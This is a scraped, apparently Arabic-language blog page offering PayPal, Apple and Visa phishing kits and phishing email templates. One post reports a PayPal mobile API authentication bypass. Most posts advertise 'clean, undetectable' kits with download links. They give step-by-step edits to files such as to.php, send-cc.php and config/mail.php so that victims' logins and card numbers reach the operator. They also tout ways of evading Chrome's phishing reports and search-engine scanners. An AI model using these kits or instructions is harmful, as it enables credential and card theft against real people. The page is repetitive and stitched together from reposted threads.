<a href="http://scamapple.blogspot.com/2013/11/scam-paypal-full-info-2014-cash-out.html" itemprop="url">

11/26/2014 10:34:00 م

Authentication Flaw in PayPal mobile API Allows Access to Blocked Accounts

الموسوعة العلمية 10/10/2014 08:43:00 م التسميات: البنوك الاكترونية, السكام, معلومات, Département de français, Department of English 0 التعليقات

Authentication Flaw in PayPal mobile API Allows Access to Blocked Accounts

Payment services provider PayPal is vulnerable to an authentication restriction bypass vulnerability, which could allow an attacker to bypass a filter or restriction of the online-service to get unauthorized access to a blocked users’ PayPal account.

The security vulnerability actually resides in the mobile API authentication procedure of the PayPal online-service, which doesn’t check for the blocked and restricted PayPal accounts.

HOW THE VULNERABILITY WORKS

In case if a PayPal user enters a wrong username or password combination several times in an effort to access the account, then for the security reasons, PayPal will restrict the user from opening or accessing his/her account on a computer until the answers to a number of security questions is provided.

However, if the same user, at the same time switches to a mobile device and tries accessing the temporarily closed PayPal account with the right credentials via an official PayPal mobile app client through the API, the user will get access to the account without providing any additional security detail.

WHAT WENT WRONG

“The client API checks only if the account exists, the API does not check a part- or full blocking of the account. It is possible for the blocked user to get access to his PayPal account and is able to make transactions and he can send money from the account,” states the vulnerability disclosure document.

For some other security reasons, such as for preventing a fraudster from reaching illicitly obtained funds, PayPal could temporarily denied users to access their PayPal account. In such cases, a remote attacker could “login through the mobile API with PayPal portal restriction to access account information or interact with the compromised account.”

REPORTED OVER ONE YEAR BUT STILL NO PATCH AVAILABLE

The critical vulnerability in PayPal was discovered about a year ago by Benjamin Kunz Mejri from Vulnerability Laboratory, and as a responsible researcher, he reported the flaw to the PayPal’s team, but the fix for the vulnerability is still not available. Also no bug bounty has been paid to him for the discovery and responsible disclosure of the bug.

According to the vulnerability disclosure document, the authentication restriction bypass vulnerability in PayPal online service has been assigned a high CVSS (Common Vulnerability Scoring System) base score of 6.2, but no identifier has been assigned to the bug.

But, despite answering those questions, the researcher used his iOS device and entered the correct combination of username and password, which easily granted him access to his blocked account, allowing him to initiate financial transactions.

PRODUCTS AFFECTED

The vulnerability affects the iOS mobile application for both iPhone and iPad, as it fails to check for the restriction flags that would not allow access to the blocked or temporarily blocked account. According to the researcher, the version 4.6.0 of the iOS app is affected, and the flaw is also working on the latest version 5.8.

An eBay owned company, PayPal provides a faster and safer way to pay and get paid. The service gives people simpler ways to send money without sharing financial information, with over 148 million active accounts in 26 currencies and across 193 markets, thereby processing more than 9 million payments daily.

10/10/2014 08:43:00 م

سكامة باي بال 2015

الموسوعة العلمية 10/04/2014 10:57:00 م التسميات: اختراق, السكام 0 التعليقات

أنا أعطيك أحدث سكامة باي بال،
عملت بهذه السكام 1 سنة و حققت الكثير من النتائج
لديه العديد من المزايا.
كذالك هي لا تسقط أبدا وخصوصا جوجل كروم وغير قابلة للكشف . غير ملغومة فعالة ومضمونة 100%

تقوم بادخال الضحية علي حسابة عد كتابتة البيانات والجديد فيها انها ترسل لك لوجين الدخول اولا ثم بيانات الفيزا كي نتفادي اذا كتب بيانات الدخول ولم يتكب الفيزا عالاقل نستفاد بحساب البيبيال

صور لسكامة

الشرح

قم بفك الضغط على السكامة

ادخل الى ملف scam ثم الى Email غير بالامايل الخاص بكyouremail@gmail.com

يمكنكا تحميلها من هنا

10/04/2014 10:57:00 م

finchvpn يمكنك من الحصول على VPN مجاني ولايسجل النشاطات LOGs

Unknown 10/01/2014 11:22:00 م التسميات: اختراق, السرفرات, السكام, تشغيل 0 التعليقات

توجد العديد من الخدمات المجانية التي توفرها عدت شركات VPN لكن للاسف ان اغلب هذه الشركات ماتوفره في خططها المجانية يقوم بتسجيل الــ Logs وما اقصده بالنسبة للـ LOG هو ان هذه الشركات تبقى في خوادمها نسخة عن جميع نشاطاتك بعنوان الايبي الحقيقي الذي تستخدمه ! وهذا قد يعد امر خطير حيث ان الحكومات يمكنها معرفة هويتك الحقيقة حتى وإن كنت تستعمل برامج للتخفي .

finchvpn يمكنك من الحصول على VPN مجاني ولايسجل النشاطات LOGs

لهذا تعد خدمة finchvpn من الخدمات القليلة التي لاتوفر إمكانية تسجيل النشطات لتبقى بعيدة عن اي مسائلة ! هكذا فالشركة لايمكن ان تقدم معلوماتك لجهات حكومية كيفما كانت لان الشركة لاتتوفر اصلا على نظام تسجيل النشاطات ! LOGs لهذا فإن بعض من يؤمنون بضرورية الخصوصية على الانترنت لايتردد في شراء خدمات مدفوعة من الـ VPN لكي لايتم تسجيل نشاطاتهم على الانترنت .

طريقة التسجيل وإستعمال خدمة finchvpn

طريقة التسجيل وإستعمال الخدمة هي سهلة جدا ! اولا يكفي بعد ان تزور رابط هذه الخدمة اسفل التدوينة ان تنقر على Register في أعلى اليمين تم بعد ذلك تقوم بإملاء المعلومات المطلوبة منك حيث انه سيتم مراسلتك برابط تفعيل على علبة الواردات .

بعد تفعيل الحساب اسجل دخولك إلى الموقع عن طريق الزر LOGIN تم بعد ذلك توجه إلى زر Download الموجود في اعلى القائمة الرئيسية كما هو موضح في الصورة .

حيث يمكنك تحميل برنامج FinchVPN على 3 منصات وهي ويندوز ، اندرويد وكذلك لينكس ! بعد التحميل وتتبيث البرنامج وجميع ملحقاته ، شغل البرنامج وانقر على ACCOUNT سجل دخولك بحسابك الذي انشأته في الموقع

تم بعد ذلك انقر مرة اخرى على Home ثم Connect وسيتم ربط إتصالك مع السرفر الذي إخترته من قائمة server & protocol .

للإشارة انه بعد تجربة البرنامج وجدت انه سريع جدا ! اكثر مما كنت اتصور كما ان البرنامج يوفر لك عدة سرڤرات واغلبها سريع جدا ! وهذه قائمة السرڤرات التي يتيحها الموقع في خطته : البرازيل كندا شيلي ألمانيا اسبانيا فرنسا المملكة المتحدة هونج كونج إيطاليا اليابان لاتفيا ماليزيا هولندا رومانيا روسيا السويد سنغافورة الولايات المتحدة فيتنام جنوب أفريقيا

موقع : finchvpn

Unknown

10/01/2014 11:22:00 م

http://www.mediafire.com/download/8d...paypal2014.rar

حصريا سكامة paypal 2014 اصدار شهر 8 ذكية جدا بجميع اللغات ورهيبة ونظيفة

الموسوعة العلمية 9/21/2014 03:21:00 م التسميات: السكام 0 التعليقات

السلام عليكم ورحمة الله وبركاتة

بالطبع الكل قد مل من الاطفال الذين يقومون بتلغيم الاسكامات

وليس هذا فقط فهل تعلم يا صديقي ان كل الاسكامات ملغمة تغليم احترافي بواسطة مبرمجها؟

وهو تلغيم يختلف عن تلغيم الاطفال

ولا يتم اكتشافة الا علي يد مبرمج خبير يجب ان يفحص البرنامج كلة يديويا ويقوم بتتبع الاسطر سطر سطر

وهذا يحتاج لخبير وياخذ وقتا طويلا قد يصل لاسبوع

لذا اتشرف بتقديم اول سكامة نظيفة 100 % وهي ايضا اصدار 2014 شهر 5

وانا اتحدي ان يكون بها كود تلغيم واحد

ولقد تاخرت في طرح الموضوع لانني قمت بفحصها شهر كامل وبالفعل اكتشفت بها بعض التلغيمات مثلها مثل اي اسكامة فلا توجد اسكامة غير ملغمة عليى الاقل من مبرمجها

ولقد استغرق مني الفحص شهر كامل حتي اتأكد من انها نظيفة تماما

لذا ارجو من الاخ مشرف القسم ان يقوم بتثبيت الموضوع لتكون اول سكامة نظيفة علي الاطلاق في المنتديات العربية وتكون مصدر لنا جميعا

وسوف اقوم في القريب العاجل ان شاء الله برفعها علي عدة مراكز تحميل كي لا تضيع مننا

###وبالطبع يجب ان يفحصها مشرف القسم بنفسة قبل تثبيت الموضوع فجل من لا يسهو###

الان مميزات الاسكامة :

جديدة تماما وغير قابله للكشف من متصفح جوجل فكلنا نعلم جميعا ان متصفح جوجل كروم يكشف اغلب الاسكامات هذة الاسكامة بها اكواد تم اضافتها لتحجب سيرفر تبيلغ جوجل كروم

-----------------------------------

ثانيا : تقوم بادخال الضحية علي حسابة عد كتابتة البيانات والجديد فيها انها ترسل لك لوجين الدخول اولا ثم بيانات الفيزا كي نتفادي اذا كتب بيانات الدخول ولم يتكب الفيزا عالاقل نستفاد بحساب البيبيال

-----------------------------------

ثالثا : نظيفة تماما كما ذكرت وربما تكون الاسكامة الوحيدة النظيفة وهذا هو اهم شئ

-------------------------------------------

الان : نبدا الشرح :

قم بفتح المجلد websc

ثم قم فتح الملف : to.php

ستجد السطر التالي :

//$send = array("yourmail@email.com");

$send = array("yourmail@email.com");

قم بتعديلة ووضع اميلك بدلا منة

----------------------------------------------

ثانيا قم بفتح الملف send-cc.php

الموجود بنفس المجلد

وقم بتعديل السطر :

$headers = "paypalresult <fresh@result.com>";

وضع اميلك ايضا بالرغم من انني اعتقد ان هذا هو اسم المرسل

لكن لا ضرر من تعديله ايضا احتياطيا

======================================

واخيرا :

وليكن هذا درس لاطفال التلغيم

وما وضعت هذا الموضوع الا بعد ملاحظتي كثر التلغيمات في المنتديات العربية والاشخاص الذين يسرقون تعب البعض

-=================

وصلة التحميل

لقد تم التحديث احصل علي السكامة الجديدة لبيابال من هنا

9/21/2014 03:21:00 م

Latest Scam PayPal 2014 (Clean,Fullinfo,Undetected)

الموسوعة العلمية 9/20/2014 02:28:00 م التسميات: السكام 0 التعليقات

Scam By Mr CRACKERZ

This Scam PayPal is Latest Scam Of PayPal

the scam is full info ( CC number , email , pass , adress .... )
Also the scam is True Login , Undetected , Clean , Bypass Google Chrome

Here's the PayPal page and i will post the Chase page in a separated thread

and i found this features information in the Readme file
- (Clean,Fullinfo,Undetected)

- Added Self Encrypter to automatically encrypt the source code

- Deny Spam, spiders bots, Google bots (Reports).

- Undetectable.

- New Url

- Self-Hosted Files, Images.etc.

- True Login Info.

- Meta to block search engines.

- robots.txt to block search engines.

- Logs.

Is Crypted/Coded for Security

Google Bot / Amazon Bot / Search Bot etc.

Go to config/mail.php & change your email

config/config.php & change information

this scam send rezult to email

& save rezult to config/Vectim.txt

File Visit.txt to show the visitor

No need Folder Random /

This Scam is Random Link AUTOMATIC

Upload & Unzip ID.zip to your shell or Cpanel

DOWNLOAD

http://www.mediafire.com/download/j21xkw729wl4y6d/3d.zip

احصل علي السكامة الجديدة لبيابال من هنا

9/20/2014 02:28:00 م

scam apple 2014

الموسوعة العلمية 9/20/2014 02:02:00 م التسميات: السكام 0 التعليقات

السلام عليكم

سكامة الايل الجديدة انسى شيء اسمو سقوط السكامة

تجلب كافة معلومات الضحية و مقنعة و لا تقبل الا معلومات صحيحة

تجلب نتااااااءج بالهبل لانو معروف موقع الابل و الكثير الكثير من الامريكيين

لديه معضم منتجااااات APPLE خصوصا ال IPHONE 4/5/5s وبشكل يومي يقوم بتفقد

رساءل عالهاتف و بدلك يقرأ الليتر APPLE الدي ارسلته على الفور يقوم بتحديث بياناته

نجي للمهم السكامة بها ملف HTACCES لمنع بوتات الفحص من الدخول

و ملف ROBOTS.txt لمنع بوتات GOOGLE من الدخول و الفحص

و كدلك لكل صحية راااابط خاص به كداااا خربت

مع السكامة 2 ليتر انبوكس بدل الرايط بالرابط الخاص بك

http://www.sa3eka.com

و السكامة بدل

youremail@gmail.com

بالايميل الخاص بك

قبل التحميل المرجو ردود و تقييم ان امكن و الله الموضوع متعوب عليه

Latest Scam PayPal 2014

ادا رأيت تفاعل سوف أطرح البرابفت في الارسال انبوكس

سبام موفق

3scam apple 201, scam paypal 2013, scam tools, سكامة ابل, سكامة بايبال 2014, lettre apple, lettre paypal, lettre
inbox, letter inbox, mailer inbox 2013, mailer inbox, spam inbox

احصل علي السكامة الجديدة لبيابال من هنا

9/20/2014 02:02:00 م

Scam PayPal 2014 Full INFO

الموسوعة العلمية 9/18/2014 03:33:00 م التسميات: السكام 0 التعليقات

i Give you latest scam Paypal, I decided to retire to devote to more important things

This Scam 1 year worked out to bring a number of cc

I challenge to be at one

Has many advantages.

Do not fall never and especially Google chrome.

Sorry for my bad bad english

DOWNLOAD

احصل علي السكامة الجديدة لبيابال من هنا

9/18/2014 03:33:00 م

http://www.mediafire.com/download/j21xkw729wl4y6d/3d.zip

LETTER VISA FR

الموسوعة العلمية 9/18/2014 03:21:00 م التسميات: السكام 0 التعليقات

LETTER VISA FR

The latest letter of Verified by visa, Vérifié par VISA Europe,

LETTER PAYPAL USA

الموسوعة العلمية 9/18/2014 03:16:00 م التسميات: السكام 0 التعليقات

-PAYPAL LETTER 1

-------------------------------------------------------------------------------

Latest Scam PayPal 2014

-PAYPAL LETTER 2

-------------------------------------------------------------------------------

-PAYPAL LETTER 3
Latest Scam PayPal 2014

-------------------------------------------------------------------------------

The latest Letter of PayPal US, untutched, all in one picture, inbox to all domains email inbox to Gmail afetr security is disabled.

Latest Scam PayPal 2014 (Clean,Fullinfo,Undetected)

الموسوعة العلمية 9/18/2014 03:02:00 م التسميات: السكام 0 التعليقات

Scam By Mr CRACKERZ

This Scam PayPal is Latest Scam Of PayPal

the scam is full info ( CC number , email , pass , adress .... )

Also the scam is True Login , Undetected , Clean , Bypass Google Chrome

Here's the PayPal page and i will post the Chase page in a separated thread

and i found this features information in the Readme file

- (Clean,Fullinfo,Undetected)

- Added Self Encrypter to automatically encrypt the source code

- Deny Spam, spiders bots, Google bots (Reports).

- Undetectable.

- New Url

- Self-Hosted Files, Images.etc.

- True Login Info.

- Meta to block search engines.

- robots.txt to block search engines.

- Logs.

Is Crypted/Coded for Security

Google Bot / Amazon Bot / Search Bot etc.

Go to config/mail.php & change your email

config/config.php & change information

this scam send rezult to email

& save rezult to config/Vectim.txt

File Visit.txt to show the visitor

No need Folder Random /

This Scam is Random Link AUTOMATIC

Upload & Unzip ID.zip to your shell or Cpanel

DOWNLOAD

احصل علي السكامة الجديدة لبيابال من هنا

9/18/2014 03:02:00 م

حصرياً : سكامة باي بال برمجة شخصية وشرح تعديل التبليغ 2014

الموسوعة العلمية 9/13/2014 01:52:00 م التسميات: السكام 0 التعليقات

السلام عليكم ورحمه الله وبركاتة ,
اعتذر عن الغياب الطويل وذلك بسبب الامتحانات ,
ورجعت لكم بسكامة باي بال جديده 2014 وحصريه فقط لكم ♥ ,

لا اطيل عليكم , صورة الصفحه الرئيسية :

والان نأتي الى تعديل التبليغ وهي اهم خطوه !

عند فك الضغط عن الملف ستجد هذه الملفات :

اولاً نقوم بفتح ملف login.php

وهذا التبليغ الخاص بلأيميل والباسورد الذي يدخلهم في الصفحة الرئيسية نفتح ونعدل الايميل كما في الصوره :

وبعدها نفتح ملف done.php

وهذا ملف الخاص بتبليغ باقي المعلومات الفيزا وغيرها نقوم بفتحه وتعديل الايميل كما في الشكل

والان نأتي الى افضل جزء وهو التحميل

http://th3-hacker.com/Pay2014Th3-hacker.zip

احصل علي السكامة الجديدة لبيابال من هنا

9/13/2014 01:52:00 م